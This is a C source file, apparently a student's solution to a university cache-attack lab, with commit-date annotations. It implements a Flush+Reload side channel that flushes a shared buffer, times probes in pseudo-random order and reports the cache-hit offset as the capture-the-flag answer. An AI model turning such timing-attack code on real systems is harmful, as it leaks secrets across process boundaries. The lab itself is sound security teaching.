SHD-CacheAttackLab/Part2-FlushReload/attacker.c

59 lines
1.6 KiB
C
Raw Normal View History

2024-02-07 14:23:56 +00:00
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include "util.h"
2024-11-04 11:29:19 +00:00
#define CACHE_HIT_THRESHOLD 200
2024-11-04 12:26:12 +00:00
#define WAIT_TIME 1000
2024-11-04 13:14:37 +00:00
#define AVAR 575479
2024-11-04 12:51:53 +00:00
#define CVAR 10020107
2024-11-04 13:14:37 +00:00
#define AVAR1 199267
#define CVAR1 4900501
2024-02-07 14:23:56 +00:00
int main() {
2024-11-04 12:08:56 +00:00
int index = -1;
2024-02-07 14:23:56 +00:00
int flag = -1;
2024-11-04 11:45:17 +00:00
CYCLES time = -1;
2024-11-05 01:55:32 +00:00
CYCLES new_time = -1;
2024-11-04 12:38:32 +00:00
int offset = 0;
2024-11-04 12:56:00 +00:00
int new_offset = 0;
2024-02-07 14:23:56 +00:00
// buf is shared between the attacker and the victim
char *buf = allocate_shared_buffer();
// [2.1] TODO: Put your capture-the-flag code here
2024-11-04 11:29:19 +00:00
for(int i = 0; i < 1024; i++) {
clflush((ADDR_PTR)buf + i * 128);
}
for(int i = 0; i < WAIT_TIME; i++);
2024-11-04 12:38:32 +00:00
for(int i = 0; i < 10000; i++) {
2024-11-04 12:56:00 +00:00
new_offset = (AVAR * offset + CVAR) % 1024;
if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
2024-11-04 13:14:37 +00:00
offset = (AVAR1 * offset + CVAR1) % 1024;
2024-11-04 12:56:00 +00:00
}
else {
offset = new_offset;
}
2024-11-04 12:38:32 +00:00
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
2024-11-04 11:29:19 +00:00
if(time < CACHE_HIT_THRESHOLD) {
2024-11-05 01:55:32 +00:00
clflush((ADDR_PTR)buf + offset * 128);
for(int i = 0; i < WAIT_TIME; i++);
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(new_time < CACHE_HIT_THRESHOLD) {
flag = offset;
index = i;
break;
}
2024-11-04 11:29:19 +00:00
}
}
2024-02-07 14:23:56 +00:00
printf("Flag: %d\n", flag);
2024-11-04 11:45:17 +00:00
printf("Time: %d\n", time);
2024-11-04 12:08:56 +00:00
printf("Index: %d\n", index);
2024-02-07 14:23:56 +00:00
deallocate_shared_buffer(buf);
return 0;
2024-11-04 12:51:53 +00:00
}